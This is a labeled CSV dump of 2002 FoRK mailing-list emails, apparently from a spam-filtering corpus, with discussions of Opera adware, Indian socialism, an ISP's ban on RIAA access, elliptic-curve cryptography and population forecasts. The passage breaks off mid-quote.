http://xent.com/mailman/listinfo/fork",0,1 """Mr. FoRK"" ",,"Mon, 19 Aug 2002 22:41:50 -0700",Re: Mailing addresses against spam? Re: Al'Qaeda's fantasy ideology: Policy Review no. 114,"> John Hall signs his message: > > John Hall > > 13464 95th Ave NE > > Kirkland WA 98034 > > Is this some new ""I'm not spam"" signal, to include a > valid mailing address? > > - Gordon Dear Gawd - /I/ live in Kirkland. I hope I don't wake up one day and realize /I/ am John Hall... I wonder if I can get GPS lat/long from street address... start a new GeoTrashing sport or something... Hmm... that address is only a quarter-mile from my old house... and about a block from a friend of mine. Weird... http://xent.com/mailman/listinfo/fork",0,1 Eirikur Hallgrimsson ,fork@spamassassin.taint.org,"Tue, 20 Aug 2002 00:25:11 -0400","Spam nostalgia, Annoyance Calls, good ideas with no analysis","Am I going to long for the good old days of Nigerian 419? After picking up the land-line phone mid-day (always a bad idea) only to slam it down before the telemarketer even spoke, I have in mind an invention. If my brain can detect the crosstalk from a call-center before the human, sub-human, or machine starts speaking, why not have a box that just hangs up for me? Maybe it could blow a police whistle (play a sample) into the phone first. Currently, a strategy of leaving the machine on as a screener works pretty well, but I still get Carey-on-RIAA style mad when the damn phone rings and it's NOT anyone I want to talk to. ..... I want to like Spider Robinson's works. Really. I mean having a ""Bridge of Birds"" attraction in the ""China that never was"" portion of the theme part in ""The Free Lunch...."" But, I really fell for his anti-paparatzi device (invented by a princess Diana fan). Doggone. I've now completely reasoned my way around it. It has a built-in defense against the first obvious way of confounding it, but that leads directly to an exploit that uses off the shelf hardware that a paparatzi ought to have in her kit. That's so often the problem with Robinson. He doesn't think that you the reader are nearly so smart as he. Heh. I admit that reading a lot of slushpile manuscripts does not improve one's opinion of fellow-man, but I always resent him for not being thorough. Eirikur http://xent.com/mailman/listinfo/fork",0,1 Eugen Leitl ,"""Joseph S. Barrera III"" ","Tue, 20 Aug 2002 08:55:17 +0200 (CEST)",Re: sprint delivers the next big thing??,"On Mon, 19 Aug 2002, Joseph S. Barrera III wrote: > In fact, with a 1GB microdrive in my camera, I often just keep > old pictures around, and I can show people pictures using the > camera's display. Which is bound to be better than the cell phone's. A detachable clip-on eyepiece display could be arbitrarily high-res. Now that we see first OLED prototypes (cheap, can be printed on curved surfaces resulting in cheaper optics) it can't be more than 5 years off. http://xent.com/mailman/listinfo/fork",0,1 CDale ,fork@spamassassin.taint.org,"Tue, 20 Aug 2002 04:02:03 -0500 (CDT)",Snag Ware,"We were sitting here talking about Opera, and the fact that it's not free anymore (unless you want the scrollypollies), and how that sucked and stuff, and someone said something about nagware, and I misinterpretted it as snag ware, which mainly means, oh yeh, right, I'm gonna buy this -eyeroll- where's someone with a key? LOL So who is it again who's on this list who's associated with Opera? Why's the free one using the same LAME idea netzero, etc useD? I know what kind of costs are involved in creating software like this, and I understand everyone needs to eat, but if someone can get netscape for free, and opera isn't free, then, hmmm... I imagine this email is going to bring some bricks down on my head, but well, go for it, I gots my helmet. (: Cindy P.S. GregB, you there? (: -- ""I don't take no stocks in mathematics, anyway"" --Huckleberry Finn http://xent.com/mailman/listinfo/fork",0,1 """Russell Turpin"" ",fork@spamassassin.taint.org,"Tue, 20 Aug 2002 17:36:56 +0000",Re: Snag Ware,"Joseph S. Barrera III: >I just use the free/adware version of Opera. I mean, >half the pages I look at have ads on them anways .. I didn't mind the ads. The problem is that the ad server Opera puts on your machine is a PIG. Every time it goes to change the ad, it thrashes my laptop for thirty seconds. So no, I don't mind the ad, but I do mind that serving ads cripples the browser. Alas, Mozilla is also a PIG. So I'm back to using IE, which seems to be the only free, reasonably featured browser that runs decently on my laptop. I'm open to alternatives .. _________________________________________________________________ MSN Photos is the easiest way to share and print your photos: http://photos.msn.com/support/worldwide.aspx http://xent.com/mailman/listinfo/fork",0,1 harley@argote.ch (Robert Harley),fork@spamassassin.taint.org,"Tue, 20 Aug 2002 20:24:12 +0200 (CEST)",Re: The Curse of India's Socialism,"RAH quoted: >Indians are not poor because there are too many of them; they are poor >because there are too many regulations and too much government intervention >-- even today, a decade after reforms were begun. India's greatest problems >arise from a political culture guided by socialist instincts on the one >hand and an imbedded legal obligation on the other hand. Nice theory and all, but s/India/France/g and the statements hold just as true, yet France is #12 in the UN's HDI ranking, not #124. >Since all parties must stand for socialism, no party espouses >classical liberalism I'm not convinced that that classical liberalism is a good solution for countries in real difficulty. See Joseph Stiglitz (Nobel for Economics) on the FMI's failed remedies. Of course googling on ""Stiglitz FMI"" only brings up links in Spanish and French. I guess that variety of spin is non grata in many anglo circles. R http://xent.com/mailman/listinfo/fork",0,1 Michael ,CDale ,"Tue, 20 Aug 2002 14:11:34 -0500 (CDT)",Re: Snag Ware,"I develop software and my pricing is that I charge the first set of customers that drive the features included quite a bit, then charge the majority of the customers a small fee, and when I've earned back what I invested (including my hourly wage) then I release that software for free and either start working on a newer version (again back to the adding features step) or on a new product. If you can't find someone willing to pay your costs of development then most likely there really isn't a need for the product you're trying to sell and you shouldn't develop it. If you have to resort to free versions with lame ass ads and stuff then that is a strong indication to get a new project IMO. :) > We were sitting here talking about Opera, and the fact that it's not > free anymore (unless you want the scrollypollies), and how that sucked > and stuff, and someone said something about nagware, and I > misinterpretted it as snag ware, which mainly means, oh yeh, right, I'm > gonna buy this -eyeroll- where's someone with a key? LOL So who is it > again who's on this list who's associated with Opera? Why's the free > one using the same LAME idea netzero, etc useD? I know what kind of > costs are involved in creating software like this, and I understand > everyone needs to eat, but if someone can get netscape for free, and > opera isn't free, then, hmmm... I imagine this email is going to bring > some bricks down on my head, but well, go for it, I gots my helmet. (: > Cindy P.S. GregB, you there? (: http://xent.com/mailman/listinfo/fork",0,1 Owen Byrne ,bitbitch@magnesium.net,"Tue, 20 Aug 2002 16:30:38 -0300",Re: This little domain went to China....,"bitbitch@magnesium.net wrote: >The RIAA continues to amaze me. Everyone might want to grok the >news yahoo has: > >http://rd.yahoo.com/dailynews/nm/tc_nm/inlinks/*http://Listen4ever.com > > >And if you're really bored, go ahead and read the papers that were >filed by the RIAA against the major backbone providers. > >http://www.riaa.com/pdf/Listen4Ever.pdf > > > > >A very disgruntled, > >bitbitch > > >http://xent.com/mailman/listinfo/fork > Well perhaps this little tidbit of sanity will make you (slightly) more gruntled: http://www.informationwave.net/news/20020819riaa.php ---------------------------------------------------------- *IWT Bans RIAA From Accessing Its Network* *August 19, 2002* Information Wave Technologies has announced it will actively deny the Recording Industry Association of America (RIAA) from accessing the contents of its network. Earlier this year, the RIAA announced its new plan to access computers without owner's consent for the sake of protecting its assets. Information Wave believes this policy puts its customers at risk of unintentional damage, corporate espionage, and invasion of privacy to say the least. Due to the nature of this matter and RIAA's previous history, we feel the RIAA will abuse software vulnerabilities in a client's browser after the browser accesses its site, potentially allowing the RIAA to access and/or tamper with your data. Starting at midnight on August 19, 2002, Information Wave customers will no longer be able to reach the RIAA's web site. Information Wave will also actively seek out attempts by the RIAA to thwart this policy and apply additional filters to protect our customers' data. Information Wave will also deploy peer-to-peer clients on the Gnutella network from its security research and development network (honeynet) which will offer files with popular song titles derived from the Billboard Top 100 maintained by VNU eMedia. No copyright violations will take place, these files will merely have arbitrary sizes similar to the length of a 3 to 4 minute MP3 audio file encoded at 128kbps. Clients which connect to our peer-to-peer clients, and then afterwards attempt to illegally access the network will be immediately blacklisted from Information Wave's network. The data collected will be actively maintained and distributed from our network operations site. The placement of this policy is not intended to hamper the RIAA's piracy elimination agenda or advocate Internet piracy, but to ensure the safety of our customers' data attached to our network from hackers or corporate espionage hidden by the veil of RIAA copyright enforcement. If you have questions, comments, or concerns regarding this policy, please e-mail riaa@informationwave.net . ---------------------------------------------------------------------------------- Owen http://xent.com/mailman/listinfo/fork",0,1 sateesh narahari ,fork@spamassassin.taint.org,"Tue, 20 Aug 2002 12:43:56 -0700 (PDT)",Re: The Curse of India's Socialism,"All good arguments, except till you realize that majority of indians were poor even before independence. Sateesh --- ""R. A. Hettinga"" wrote: > http://online.wsj.com/article_print/0,,SB1029790639190441115,00.html > > > The Wall Street Journal > > August 20, 2002 > COMMENTARY > > The Curse of India's Socialism > > By CHRISTOPHER LINGLE > > In a classic case of deflecting blame for their own > shortcomings, > politicians in India have identified the size of the > population as the > country's biggest problem. This position was stated > in a unanimous > parliamentary resolution passed on the 50th > anniversary of independence. > Half a decade later, it is a belief that still > resonates with many. Yet it > is hard to imagine a more cynical view. If left free > from the extensive > interference of various levels of government, the > energy and creativity of > the Indian people could soon allow them to be among > the richest on earth. > > Indians are not poor because there are too many of > them; they are poor > because there are too many regulations and too much > government intervention > -- even today, a decade after reforms were begun. > India's greatest problems > arise from a political culture guided by socialist > instincts on the one > hand and an imbedded legal obligation on the other > hand. > > While India's political culture reflects the beliefs > of its founding > fathers, there is the additional matter of the > modified preamble to its > constitution that specifies: ""India is a sovereign, > secular, socialist > republic."" It was Indira Gandhi who had the words > ""socialist"" and ""secular"" > added in the late 1970s. At the same time, she also > amended the relevant > section in the Representation of Peoples Act to > require that all recognized > and registered parties swear by this preamble. Since > all parties must stand > for socialism, no party espouses classical > liberalism (yet there are > numerous communist parties). > > While one can appreciate the difficulty of > abandoning ideas with such > honored lineage, the fact that socialism has been > widely discredited and > abandoned in most places should prompt Indians to > reconsider this > commitment. Despite evidence of its failure as an > economic system, many of > the socialists who carry on do so by trying to > proclaim that their dogma > reinforces certain civic virtues. A presumed merit > of socialism is that it > aims to nurture a greater sense of collective > identity by suppressing the > narrow self-interest of individuals. However, this > aspect of socialism lies > at the heart of its failure both as a political tool > as well as the basis > for economic policy. > > Let's start with the economic failures of socialism. > Most of the grand > experiments have been ignominiously abandoned or > recast in tortured terms > such as the ""Third Way"" that defer to the importance > of markets and > individual incentives. Unfortunately, it took a > great deal of human > suffering before socialists abandoned their goal of > trying to create an > economic system on the basis of collective goals. > > Socialist ideologues are impervious to evidence that > their system inspires > even more human misery in the civic realm. This is > because socialism > provides the political mechanism for and legitimacy > by which people > identify as members of groups. While it may suit the > socialist agenda to > create them-and-us scenarios relating to workers and > capitalists or > peasants and urban dwellers, this logic is readily > converted to other types > of divisions. > > In the case of India, competition for power has > increasingly become > identified with religiosity or ethnicity, as is > evident by the rise of the > Bharatiya Janata Party, supported by radical > Hindutva supporters. As > elsewhere, political parties based on religion are > by their very nature > exclusionary. These narrow concepts of identity work > against nation > building since such a politics forces arrangements > that cannot accommodate > notions of universal values. > > Socialism also sets the stage for populist promises > of taking from one > group to support another. This variety of political > posturing by the > Congress Party was used to build a coalition of > disaffected minorities. In > turn, the BJP built its power base on a promise to > restore power to Hindus. > And so it is that India's heritage of socialist > ideology provided the > beginnings of a political culture that evolved into > sectarian populism that > has wrought cycles of communal violence. Populism > with its solicitations of > political patronage, whether based upon nationalism > or some other ploy, is > also open to the sort of rampant corruption so > evident in India. > > At issue in India is nothing less than the role of > the state. Should it be > used as a mechanism to protect the freedom and > rights of individuals? Or > should the state be a vehicle for groups to gain > power? It should be clear > the latter approach would lead to the destruction of > India's democracy > while the former will allow it to survive. > > It is undeniable that India's public policy guided > by socialism has > promoted divisions that contributed to social > instability and economic > destruction. This dangerous game has only served the > narrow interests of > those who seek to capture or preserve power. That > India is a ""socialist"" > state, specified in a preamble to the constitution, > makes this binding > commitment evident in the nature of interventionist > policies that have > wrought slower economic growth causing great harm to > the poor and unskilled > who have lost access to economic opportunities. > Socialism also introduced > forces that are destroying India's hard-earned > democracy. A paradigm shift > in the nature of Indian politics is needed so the > state ceases serving as a > mechanism for groups to gain power and instead > becomes an instrument to > secure rights and freedoms for individuals. > > Mr. Lingle is professor of economics at Universidad > Francisco Marroquin in > Guatemala, and global strategist for > eConoLytics.com. > > > > -- > ----------------- > R. A. Hettinga > The Internet Bearer Underwriting Corporation > > 44 Farquhar Street, Boston, MA 02131 USA > ""... however it may deserve respect for its > usefulness and antiquity, > [predicting the end of the world] has not been found > agreeable to > experience."" -- Edward Gibbon, 'Decline and Fall of > the Roman Empire' > http://xent.com/mailman/listinfo/fork __________________________________________________ Do You Yahoo!? HotJobs - Search Thousands of New Jobs http://www.hotjobs.com http://xent.com/mailman/listinfo/fork",0,1 """R. A. Hettinga"" ","Digital Bearer Settlement List ,","Tue, 20 Aug 2002 15:52:50 -0400",IWT Bans RIAA From Accessing Its Network,"http://www.informationwave.net/news/20020819riaa.php IWT Bans RIAA From Accessing Its Network August 19, 2002 Information Wave Technologies has announced it will actively deny the Recording Industry Association of America (RIAA) from accessing the contents of its network. Earlier this year, the RIAA announced its new plan to access computers without owner's consent for the sake of protecting its assets. Information Wave believes this policy puts its customers at risk of unintentional damage, corporate espionage, and invasion of privacy to say the least. Due to the nature of this matter and RIAA's previous history, we feel the RIAA will abuse software vulnerabilities in a client's browser after the browser accesses its site, potentially allowing the RIAA to access and/or tamper with your data. Starting at midnight on August 19, 2002, Information Wave customers will no longer be able to reach the RIAA's web site. Information Wave will also actively seek out attempts by the RIAA to thwart this policy and apply additional filters to protect our customers' data. Information Wave will also deploy peer-to-peer clients on the Gnutella network from its security research and development network (honeynet) which will offer files with popular song titles derived from the Billboard Top 100 maintained by VNU eMedia. No copyright violations will take place, these files will merely have arbitrary sizes similar to the length of a 3 to 4 minute MP3 audio file encoded at 128kbps. Clients which connect to our peer-to-peer clients, and then afterwards attempt to illegally access the network will be immediately blacklisted from Information Wave's network. The data collected will be actively maintained and distributed from our network operations site. The placement of this policy is not intended to hamper the RIAA's piracy elimination agenda or advocate Internet piracy, but to ensure the safety of our customers' data attached to our network from hackers or corporate espionage hidden by the veil of RIAA copyright enforcement. If you have questions, comments, or concerns regarding this policy, please e-mail riaa@informationwave.net. -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA ""... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience."" -- Edward Gibbon, 'Decline and Fall of the Roman Empire' http://xent.com/mailman/listinfo/fork",0,1 """R. A. Hettinga"" ","Digital Bearer Settlement List ,","Wed, 7 Aug 2002 18:37:51 -0400",Palladiated? (was re: wow - palladiated! (Re: Palladium: technical limits and implications)),"Evidently, I have permission to pass this along. :-). Don't try this at home, boys and girls. This is a professional neologist at work... Cheers, RAH Comedy is not pretty... --- begin forwarded text Date: Wed, 7 Aug 2002 22:40:56 +0100 From: Adam Back To: ""R. A. Hettinga"" Cc: Adam Back Subject: wow - palladiated! (Re: Palladium: technical limits and implications) User-Agent: Mutt/1.2.2i On Wed, Aug 07, 2002 at 03:08:08PM -0400, R. A. Hettinga wrote: > At 6:54 PM +0100 on 8/7/02, Adam Back wrote: > > Palladiumized > > Palladiated? > > ;-). that's pretty funny, rhymes with irradiated -- nice connotations of radioactive material with radioactive half-lives spewing life-hazardous neutron radiation ;-) Helps that palladium is in fact a heavy metal. Man, perhaps Pd even _has_ a half-life on the decay path from plutonium down to lead or something. That would be very funny. Adam --- end forwarded text -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA ""... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience."" -- Edward Gibbon, 'Decline and Fall of the Roman Empire' http://xent.com/mailman/listinfo/fork",0,1 rsedc@atlantic.gse.rmit.edu.au,"""R. A. Hettinga"" ,","Thu, 8 Aug 2002 15:12:00 +1000",Re: Palladiated? (was re: wow - palladiated! (Re: Palladium: technical limits and implications)),"> On Wed, Aug 07, 2002 at 03:08:08PM -0400, R. A. Hettinga wrote: > > At 6:54 PM +0100 on 8/7/02, Adam Back wrote: > > > Palladiumized > > > > Palladiated? > > And the antonym? Odyssielded. Rhymes with shielded. http://homepage.mac.com/cparada/GML/Odysseus.html Odysseus was the first to learned the Palladium Oracles from the Seer Hellenus. Odysseus neutralised (neutronised?) Palladium's defence for Troy. Odysseus invented the first Trojan Horse. Incidentally public revelation of the Palladium is supposed to be on Seventh Day to the Ides of Jun, i.e. 8th. June. The Newsweek article was a bit late. http://www.clubs.psu.edu/aegsa/rome/jun06.htm David Chia http://xent.com/mailman/listinfo/fork",0,1 harley@argote.ch (Robert Harley),fork@spamassassin.taint.org,"Tue, 20 Aug 2002 18:24:44 +0200 (CEST)","Re: # Elliptic Curve Point Counting, made easy","Gordon Mohr wrote: >Does this mean that Eliptic Curve encryption is >now easily breakable? Or faster than before with >no loss in strength? Or stronger? > >Raw bits are OK, cooked bits are better. Oh. OK. These results don't help break EC crypto at all. With RSA, you pick a number with secret factors and to break the cryptosystem, you can factor the number. Due to fast sub-exponential algorithms for factoring, the number had better be 1024 bits at the very least (record = 524 bits). With EC, you pick a curve and pick points on the curve with secret discrete logarithm. To break the cryptosystem you can compute a discrete log but the best algorithms for random curves are exponential (record = 109 bits, for a slightly special curve). Up until now, people pick curves chosen from a small fixed set. One choice is a few curves with special properties that originally were chosen to make point-counting easier, and can also speed up the crypto operations, but in some cases they can also speed up attacks, not on curves deployed at the moment but the danger exists. The other choice is to precompute a handful of random curves. The NSA did this a few years ago when it took hours on a fast machine and NIST standardized those curves. What changes is that it is now possible is to generate your own curves on an ordinary PC. This has been getting easier and easier, with small curves taking seconds on a fast machine since a year or two. Now even reasonably big curves take seconds on a typical PC. This means that you don't have to rely on standard curves but can distribute risk over many curves in case some get broken at some stage. In certain circumstances you can even keep the curve itself secret so an attacker doesn't know which discrete log to try to compute! There isn't really a good analogy with RSA, but imagine wanting to factor a number and you don't even know what it is... So basically recent progress has made new things feasible and this makes them even more so. The underlying primitives for signing, encoding and so on are not affected, but the security vibes get better. R http://xent.com/mailman/listinfo/fork",0,1 Dave Long ,fork@spamassassin.taint.org,"Tue, 20 Aug 2002 14:16:30 -0700",RE: The Curse of India's Socialism,"> In the > Philippines, getting legal title can take 20 years. In Egypt, about 80% > of the population in Cairo lives in places where they are officially > illegal. If the situation in Egypt is anything like the situation in the Philippines, it's because people (due to a strange desire for jobs) squat on land which they don't own.* For people to be able to buy their own land, capitalism must be healthy, but not triumphant; there need to be too many capitalists, not too few. (how well off were the major landowners in india before independence?) -Dave * In the US, we are not so friendly to our capitalists: adverse possession is only supposed to take 5 years. (How much do we owe to our frontiers? Heck, in Egypt didn't they pretty much invent geometry a few millenia ago to keep track of their property lines?) http://xent.com/mailman/listinfo/fork",0,1 Elias Sinderson ,fork@spamassassin.taint.org,"Tue, 20 Aug 2002 14:09:26 -0700",Re: IWT Bans RIAA From Accessing Its Network,"Beautiful, let the information wars begin... I can't wait to see how this evolves... Perhaps the RIAA will seek legislation preventing others from preventing their access to other networks? I can't see how that would work out though... Yes, very interesting, and quite sad at the same time. Elias R. A. Hettinga wrote: >http://www.informationwave.net/news/20020819riaa.php ... > http://xent.com/mailman/listinfo/fork",0,1 Eugen Leitl ,"""Joseph S. Barrera III"" ","Tue, 20 Aug 2002 23:49:53 +0200 (CEST)",Re: Snag Ware,"On Tue, 20 Aug 2002, Joseph S. Barrera III wrote: > I just use the free/adware version of Opera. I mean, half the pages I just use Mozilla, and don't have to think about ignoring toolbar ads altogether. I can tell Mozilla to ignore particularly obnoxious ads, and businesses who're particularly ""clever"" about making me see them obviously don't want me to see them after all (since I leave, and never come back). > I look at have ads on them anways, so I'm pretty good at ignoring them. > Plus, you can change settings that change what type of ads you get, > so the ads I get are pretty innocuous. I think I listed books and > sleeping as my interests :-) I notice Opera tends to ignore my advertisement preferences, so this is the core reason why I don't use it. Mozilla does almost everything Opera does, minus the obnoxious ad slime, so why use use Opera then? http://xent.com/mailman/listinfo/fork",0,1 Ian Andrew Bell ,fork@spamassassin.taint.org,"Tue, 20 Aug 2002 15:34:18 -0700",Re: The Curse of India's Socialism,"I think that this and other articles confuse Socialism with Bureaucracy. Libertarianism as implemented in North America is not exactly the shining pinnacle of economic efficiency. Just try starting a telephone company in the US or (even worse) Canada. It can take a year or more to get the blessing of our own ""Permit Rajs"" at the FCC, PUC, and PTTs (or, in the decidedly more socialist leaning Canada, Industry Canada and the CRTC). Yet, despite all of this intense regulation and paper pushing, as well as regulatory scrutiny by the FTC, SEC, and IRS, the executives of Telecom Companies have managed to bilk the investment community for what looks to be tens of billions of dollars. They finished their routine with the a quadruple lutz -- laying off hundreds of thousands of workers when it all came crashing down. So.. tell me again.. how are we better off? -Ian. On Tuesday, August 20, 2002, at 12:09 PM, John Hall wrote: The Mystery of Capital: Why Capitalism Triumphs in the West and Fails Everywhere Else -- by Hernando De Soto Is something I'm reading now. My impression is that France is not anywhere near the ""Permit Raj"" nightmare that India is (and became). Nor has its market been closed like India's has. But De Soto's work is perhaps just as important or more so. He hasn't dealt specifically with India, but I recall examples from Peru, Philippines, and Egypt. In Lima, his team took over a year (I think it was 2) working 8 hr days to legally register a 1 person company. In the Philippines, getting legal title can take 20 years. In Egypt, about 80% of the population in Cairo lives in places where they are officially illegal. India hasn't been helped by its socialism. Socialism has certainly helped strangle the country in permits. But perhaps De Soto is right that the real crippling thing is keeping most of the people out of the legal, official property system. Putting most of the people in the property system was something the west only finished about 100 years ago, or Japan did 50 years ago. It wasn't easy, but we live in a society that doesn't even remember we did it. -----Original Message----- From: fork-admin@xent.com [mailto:fork-admin@xent.com] On Behalf Of Robert Harley Sent: Tuesday, August 20, 2002 11:24 AM To: fork@spamassassin.taint.org Subject: Re: The Curse of India's Socialism RAH quoted: Indians are not poor because there are too many of them; they are poor because there are too many regulations and too much government intervention -- even today, a decade after reforms were begun. India's greatest problems arise from a political culture guided by socialist instincts on the one hand and an imbedded legal obligation on the other hand. Nice theory and all, but s/India/France/g and the statements hold just as true, yet France is #12 in the UN's HDI ranking, not #124. Since all parties must stand for socialism, no party espouses classical liberalism I'm not convinced that that classical liberalism is a good solution for countries in real difficulty. See Joseph Stiglitz (Nobel for Economics) on the FMI's failed remedies. Of course googling on ""Stiglitz FMI"" only brings up links in Spanish and French. I guess that variety of spin is non grata in many anglo circles. http://xent.com/mailman/listinfo/fork http://xent.com/mailman/listinfo/fork",0,1 """R. A. Hettinga"" ","Digital Bearer Settlement List , fork@spamassassin.taint.org","Tue, 20 Aug 2002 19:36:15 -0400",Experts Scale Back Estimates of World Population Growth,"The demographic transition, where birthrates are lowered by increased life expectancy, seems to be happening faster than the experts have anticipated. I attribute this apparently precipitous decline in ""sustainable"" development to the twin evils of increasing personal freedom and economic globalization. Somebody oughta pass a law to prevent those things, of course, before it's too late. The People's way of life *must* be preserved in its natural, pre-industrial state, or we'll lose it forever. ;-). Cheers, RAH http://www.nytimes.com/2002/08/20/science/earth/20POPU.html?pagewanted=print&position=top The New York Times August 20, 2002 Experts Scale Back Estimates of World Population Growth By BARBARA CROSSETTE Demography has never been an exact science. Ever since social thinkers began trying to predict the pace of population growth a century or two ago, the people being counted have been surprising the experts and confounding projections. Today, it is happening again as stunned demographers watch birthrates plunge in ways they never expected. Only a few years ago, some experts argued that economic development and education for women were necessary precursors for declines in population growth. Today, village women and slum families in some of the poorest countries are beginning to prove them wrong, as fertility rates drop faster than predicted toward the replacement level - 2.1 children for the average mother, one baby to replace each parent, plus a fraction to compensate for unexpected deaths in the overall population. A few decades ago in certain countries like Brazil, Egypt, India and Mexico fertility rates were as high as five or six. As a result, United Nations demographers who once predicted the earth's population would peak at 12 billion over the next century or two are scaling back their estimates. Instead, they cautiously predict, the world's population will peak at 10 billion before 2200, when it may begin declining. Some experts are wary of too much optimism, however. At the Population Council, an independent research organization in New York, Dr. John Bongaarts has studied population declines in various countries over the last half century. He questions the assumption that when fertility declines begin they will continue to go down at the same pace, especially if good family planning services are not widely available. Sharp fertility declines in many industrialized and middle-income countries had already challenged another old belief: that culture and religion would thwart efforts to cut fertility. In Italy, a Roman Catholic country whose big families were the stuff of cinema, family size is shrinking faster than anywhere else in Europe, and the population is aging rapidly as fewer children are born. Islamic Iran has also had great success with family planning. ""Projections aren't terribly accurate over the long haul,"" said Dr. Nicholas Eberstadt, a demography expert at the American Enterprise Institute in Washington. ""Demographers have been surprised by just about every big fertility change in the modern period. Demographers didn't anticipate the baby boom. They did not anticipate the subsequent decline in fertility in industrialized Western democracies."" What's next? Demographers can agree generally on a few measurable facts and some trends. The world's population, now 6.2 billion, quadrupled in the 20th century, and changed in drastic ways. In 1900, 86 percent of the world's people lived in rural areas and about 14 percent in urban areas. By 2000, urban communities were home to 47 percent of the population, with 53 percent still in the countryside. Between now and 2030, when the global population is expected to reach about eight billion, almost all the growth will be in cities. But urbanization is not necessarily a bad thing for the environment, said Dr. Joseph Chamie, director of the United Nations' population division. ""Moving to cities frees up the land for forestry, agriculture and many other activities,"" Dr. Chamie said. ""You're getting people concentrated, so you can probably recycle more easily. People change their lifestyles. The Indian moving from the boonies of Uttar Pradesh to the city of Lucknow gets educational opportunities, cultural opportunities, all sorts of political participation. He can be influenced by advertising and public relations campaigns. Immunization will be better, and family planning."" As births fall and lives are extended, the global population is getting older. The over-80 age group is the fastest growing. But not everywhere. For example, the United Nations calculates that life expectancy at birth is being slashed in countries hardest hit by AIDS. In South Africa, the life of a baby born now should be 66 years; AIDS has cut that to 47. In Zimbabwe, the drop has been to 43 years from 69. In Botswana, it is 36 years, down from 70. Another cautionary sign from projections is that where populations are continuing to grow fastest, societies and governments may be least likely to cope with the results, including strains on natural resources - farmland, water, air, forests and animals. Last year, the organization published a report and wall chart, ""Population, Environment and Development,"" plotting and analyzing population changes as its contribution to the debate surrounding the Johannesburg summit meeting. The United Nations estimates that the world's current population, 6.2 billion, is growing at an annual rate slightly over 1.2 percent, producing some 77 million people. Of this growth, 97 percent is taking place in less-developed countries, said Dr. Chamie, whose position at the United Nations makes him chief keeper of the world's statistics. Six nations will dominate this growth, and in this order: India, China, Pakistan, Nigeria, Bangladesh and Indonesia. Thus, though fertility is declining unexpectedly in a poor country like India, which has more than a billion people, the actual numbers continue to rise rapidly because the base is so large. India is gaining as many people annually as China, Pakistan and Nigeria combined, the United Nations says. India is projected to have at least 100 million more people than China by 2050, even if China's one-child policy is relaxed. Small families are now the norm for the Chinese, whose standard of living has risen above that of the people of India by many measures. Among industrialized countries, the United States alone has a growth rate comparable to that of developing nations. It now ranks seventh in growth, Dr. Chamie said, but 80 percent of that growth comes from immigration. In Europe, populations are shrinking, even with more immigration. With much of the population bulge predicted in Asia, the East-West Center in Honolulu has just published a report, ""The Future of Population in Asia,"" which finds cause to fear considerable environmental stress in a region where population densities and numbers are often great. Asia, the report notes, already has 56 percent of the world's population living on 31 percent of its arable land, and more than 900 million people exist on less than $1 a day. ""Asia faces the most acute pressure on arable agricultural land of any region in the world,"" the report says, adding that expansion of farmland has been made at the cost of forests. Acute water scarcity, a significant loss of biodiversity and more urban pollution seem inevitable. Twelve of the world's 15 most polluted cities are in Asia. By 2020, the report predicts, Asia will be producing more carbon dioxide emissions than any other region. ""When looking at current and future environmental concerns in Asia,"" the report concludes, ""the number of people to be fed, clothed, housed, transported, educated and employed may not be the only issue, but it is an issue that cannot be ignored."" -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA ""... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience."" -- Edward Gibbon, 'Decline and Fall of the Roman Empire' http://xent.com/mailman/listinfo/fork",0,1 """John Hall"" ",,"Tue, 20 Aug 2002 18:40:30 -0700",RE: The Curse of India's Socialism,"The question is why are they still poor? Especially given the success of Indian immigrants in other societies? South Korea was a lot poorer after the Korean war than Ghana when it gained its independence at about the same time. That was after India gained independence, and Korea couldn't have been in better shape at that point than India (my impression). > -----Original Message----- > From: fork-admin@xent.com [mailto:fork-admin@xent.com] On Behalf Of > sateesh narahari > Sent: Tuesday, August 20, 2002 12:44 PM > To: fork@spamassassin.taint.org > Subject: Re: The Curse of India's Socialism > > All good arguments, except till you realize that > majority of indians were poor even before > independence. > > Sateesh > > > --- ""R. A. Hettinga"" wrote: > > > http://online.wsj.com/article_print/0,,SB1029790639190441115,00.html > > > > > > The Wall Street Journal > > > > August 20, 2002 > > COMMENTARY > > > > The Curse of India's Socialism > > > > By CHRISTOPHER LINGLE > > > > In a classic case of deflecting blame for their own > > shortcomings, > > politicians in India have identified the size of the > > population as the > > country's biggest problem. This position was stated > > in a unanimous > > parliamentary resolution passed on the 50th > > anniversary of independence. > > Half a decade later, it is a belief that still > > resonates with many. Yet it > > is hard to imagine a more cynical view. If left free > > from the extensive > > interference of various levels of government, the > > energy and creativity of > > the Indian people could soon allow them to be among > > the richest on earth. > > > > Indians are not poor because there are too many of > > them; they are poor > > because there are too many regulations and too much > > government intervention > > -- even today, a decade after reforms were begun. > > India's greatest problems > > arise from a political culture guided by socialist > > instincts on the one > > hand and an imbedded legal obligation on the other > > hand. > > > > While India's political culture reflects the beliefs > > of its founding > > fathers, there is the additional matter of the > > modified preamble to its > > constitution that specifies: ""India is a sovereign, > > secular, socialist > > republic."" It was Indira Gandhi who had the words > > ""socialist"" and ""secular"" > > added in the late 1970s. At the same time, she also > > amended the relevant > > section in the Representation of Peoples Act to > > require that all recognized > > and registered parties swear by this preamble. Since > > all parties must stand > > for socialism, no party espouses classical > > liberalism (yet there are > > numerous communist parties). > > > > While one can appreciate the difficulty of > > abandoning ideas with such > > honored lineage, the fact that socialism has been > > widely discredited and > > abandoned in most places should prompt Indians to > > reconsider this > > commitment. Despite evidence of its failure as an > > economic system, many of > > the socialists who carry on do so by trying to > > proclaim that their dogma > > reinforces certain civic virtues. A presumed merit > > of socialism is that it > > aims to nurture a greater sense of collective > > identity by suppressing the > > narrow self-interest of individuals. However, this > > aspect of socialism lies > > at the heart of its failure both as a political tool > > as well as the basis > > for economic policy. > > > > Let's start with the economic failures of socialism. > > Most of the grand > > experiments have been ignominiously abandoned or > > recast in tortured terms > > such as the ""Third Way"" that defer to the importance > > of markets and > > individual incentives. Unfortunately, it took a > > great deal of human > > suffering before socialists abandoned their goal of > > trying to create an > > economic system on the 